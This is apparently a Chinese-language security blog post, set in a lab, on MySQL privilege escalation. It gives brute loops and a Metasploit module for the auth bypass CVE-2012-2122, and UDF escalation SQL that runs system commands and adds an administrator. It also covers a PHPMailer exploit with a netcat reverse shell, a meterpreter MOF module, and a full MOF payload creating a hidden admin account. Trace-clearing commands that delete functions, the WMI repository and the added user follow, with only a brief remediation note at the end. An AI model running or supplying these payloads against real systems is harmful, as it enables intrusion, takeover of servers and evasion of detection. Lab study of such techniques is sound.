SwanQ's blog

To live is to Risk it All

0%

MYSQL提权总结

0x01 MYSQL漏洞案例:

先通过MYSQL身份认证绕过漏洞 CVE-2012-2122开始看起。

1. 漏洞原理:

该漏洞是身份认证绕过漏洞,当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于处理不正确,会导致memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。即只要知道用户名,不断尝试就能够直接登入SQL数据库。

2. 影响版本:

Mariadb、Mysql:几乎影响5.1至5.5的所有版本,包括5.1.61,5.0.11,5.3.5,5.5.22,5.5.23

3. 漏洞复现:

靶机:Ubuntu 192.168.127.131

攻击机:kali 192.168.127.130

环境:docker vulhub

注:

[1]除了安装docker-ce docker-io之外,可能需要安装docker-compose

[2]docker-compose是docker的命令行工具,docker-compose up启动并运行vulhub中的mysql服务。

[3]进入docker:docker exec -it 69d1 bash

img

img

环境启动后,将启动一个Mysql服务(版本:5.5.23),监听3306端口,通过Mysql客户端可直接登录,其root密码是123456。至此靶机环境搭建完成

攻击机扫描靶机所开放服务:

img

可看到linux服务器开启了mysql,版本为5.5.23

方法一、用msf直接跑:

1
2
3
4
5
6
msfconsole
search mysql
use auxiliary/scanner/mysql/mysql_authbypass_hashdump
set RHOSTS 192.168.127.131
set threads 10
run

img

可以看到密码的哈希值,一般密码以MD5的格式

注:

[1] MD5加密结果是128位二进制,也就是32位十六进制数

[2] SHA-1加密结果是160位二进制,也就是40位十六进制数

[3] SHA-256加密结果是256位二进制,也就是64位十六进制数

[4] SHA-512加密结果是512位二进制,也就是128位十六进制数

[5] RIPEMD160加密结果是160位二进制,也就是40位十六进制数

img

MD5解密

img

方法二、利用bash脚本自动登陆mysql数据库

1
2
3
4
5
6
7
8
9
#!/bin/bash

# 用一个错误的密码登录1000次目标主机的mysql数据库
for ((i = 1; i < 1000; i++))
do
echo "= = = = = = = = = = = = = = = = = = = = = = = = = = = = =";
mysql -h 192.168.127.131 -u root -p111111 -P 3306;
echo "= = = = = = = = = = = = = = = = = = = = = = = = = = = = =";
done

img

img

方法三、Python脚本:

1
2
3
4
#!/usr/bin/python
import subprocess
while True:
subprocess.Popen("mysql -u root -P 3306 -h 192.168.127.131 --password=aaaaa", shell=True).wait()

img

todo:看看mysql 5.5.23的paswword.c出问题的具体位置。

0x02 UDF 提权

UDF(user defined function)用户自定义函数。用户可以通过自己增加函数对mysql功能进行扩充。

通过添加UDF导出dll,再mysql中使用UDF以高权限账号执行命令,添加账号进行提权

1.提权条件:

  • 知道mysql数据库的账户,有对mysql的insert和delete权限,以创建和抛弃函数。
  • 有可以将动态链接库udf.dll写入相应目录的权限。

2.相关知识点

1. Secure_file_priv参数

secure-file-priv参数是用来限制LOAD DATA,SELEC,OUTFILE, LOAD_FILE()传递的指定目录

  • 值为null :限制mysql不允许导入导出
  • 值为/tmp/ :限制mysql的导入导出只能发生在/tmp/目录
  • 没有具体值:对mysql的导入导出不做限制

通过执行SHOW VARIABLES LIKE "secure_file_priv";查看secure-file-priv的状态。

2.UDF来源

sqlmap和metasploit中有windows和Linux32和64位的UDF文件,需要先用sqlmap自带解码工具cloak.py对进行异或的UDF文件进行解码:

1
2
3
4
5
路径:

/usr/share/sqlmap/data/udf/mysql/windows/63/lib_mysqludf_sys.dll_

/usr/share/sqlmap/extra/cloak/cloak.py

metasploit的UDF动态链接库文件无需解码,路径如下:

1
usr/share/metasploit-framework/embedded/framework/data/exploits/mysql

3.UDF提供的函数

hexdump -C lib_mysqludf_sys_64.so | tail -n +118 | head -n 35

1
2
3
4
sys_eval,执行任意命令,并将输出返回。
sys_exec,执行任意命令,并将退出码返回。
sys_get,获取一个环境变量。
sys_set,创建或修改一个环境变量。

此时已经有了udf文件,接下来就要上传到网站的指定目录

  • 当mysql < 5.0,导出路径随意。
  • 当5.0 <= mysql < 5.1,udf.dll 则需要导出至目标服务器的系统目录 (如:c:/windows/system32/)
  • 当mysql > 5.1,要把udf.dll文件放到MySQL安装目录下的lib\plugin文件夹下才能创建自定义函数

接下来就是寻找插件目录并写入动态链接库:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
--查询软件安装目录
show variables like '%plugin%'

-- sys_eval是函数名称,udf.dll是lib_mysqludf_sys.dll_上传后的文件名
create function sys_eval returns string soname 'udf.dll';

--查看 mysql 函数里是否新增sys_eval
select * from mysql.func;

-- 执行系统命令试试
select sys_eval('whoami');

-- 将swanQ加入管理员组
select cmdshell('net user swanQ swanQ/add');
select cmdshell('net localgroup administrators swanQ/add');

-- 清除痕迹:删除函数
drop function cmdshell;
delete from mysql.func where name='cmdshell'

3.漏洞复现:PHPMailer命令执行利用

001 环境搭建

靶机下载

攻击机:kali 192.168.127.130

靶机:Raven 192.168.127.129

靶机开放了SSH22端口、80和111端口。访问靶机的80端口可查看wordpress博客页面,dirb跑一下目录。发现phpmailer,并查看版本信息,发现存在php命令执行漏洞。找到靶机发邮件的位置contact.php。

1
2
3
4
searchsploit phpmailer

# 定位exp位置
locate exploits/php/webapps/40974.py

更改参数后,运行代码,此时目录下会生成back.php

开启本地监听,back.php文件运行后shell会成功反弹。

1
2
3
4
5
# 监听端口
nc -lvnp 6666

# 得到交互式shell:
python -c ’import pty; pty.spawn("/bin/bash")’

0x03 MOF提权

1.原理

MOF(托管对象格式)是windows系统C:/Windows/system32/wbem/mof/nullevt.mof文件,其作用是每间隔5秒就监听进程的创建和死亡。

如果通过mysql使用load_file将文件写入/wbom/mof。mof中有vbs脚本,可以通过控制脚本内容让系统执行命令来提权。

2.条件

  • windows03及以下版本

  • mysql有读写C:/Windows/system32/wbem/mof的权限

  • secure-file-priv参数不为null

msf也自带mof提权模块,且可自动清理痕迹

1
2
3
4
5
6
7
8
9
10
use exploit/windows/mysql/mysql_mof

# 设置payload
set payload windows/meterpreter/reverse_tcp

# 设置目标 MySQL 的基础信息
set rhosts 192.168.127.132
set username root
set password root
run

mof脚本内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#pragma namespace("\\\\.\\root\\subscription") 

instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hacker P@ssw0rd /add\")\nWSH.run(\"net.exe localgroup administrators hacker /add\")";
};

instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

其中核心payload为:

1
var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hacker P@ssw0rd /add\")\nWSH.run(\"net.exe localgroup administrators hacker /add\")

将test.mof写入mof目录下:

1
2
mysql > select load_file('C:/Documents and Settings/test.mof')into dumpfile "C:/windows/system32/wbem/mof/test.mof";

执行成功test.mof 会出现在:c:/windows/system32/wbem/goog/ 目录下 ,否则在 c:/windows/system32/wbem/bad 目录下

痕迹清理:

每隔几分钟会重新执行添加用户的命令,所以想清理痕迹得先暂时关闭 winmgmt 服务再删除mof 文件,此时删除用户才有效果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 停止 winmgmt 服务
net stop winmgmt

# 删除 Repository 文件夹
rmdir /s /q C:\Windows\system32\wbem\Repository\

# 手动删除 mof 文件
del C:\Windows\system32\wbem\mof\good\test.mof /F /S

# 删除创建的用户
net user hacker /delete

# 重新启动服务
net start winmgmt

0x04 漏洞修复:

MySQL数据库更新到最新版本
禁止除白名单外其他ip远程登录MySQL数据库
修改数据库用户名

思考:

记得是python3跑脚本,不然会遇到python包已安装,但还是找不到的问题。Linux权限管理比Winodws严格,Linux分root用户,组用户和其他用户,然而windows就只有user和administrator。

参考:

https://my.oschina.net/bylibrary/blog/4967585

https://yeasy.gitbook.io/docker_practice/container

https://www.jianshu.com/p/a4f25b2d74e6

https://github.com/vulhub/vulhub

https://blog.csdn.net/yatere/article/details/7654057

https://www.jianshu.com/p/15321f9ede38

https://www.xiaoheidiannao.com/8682.html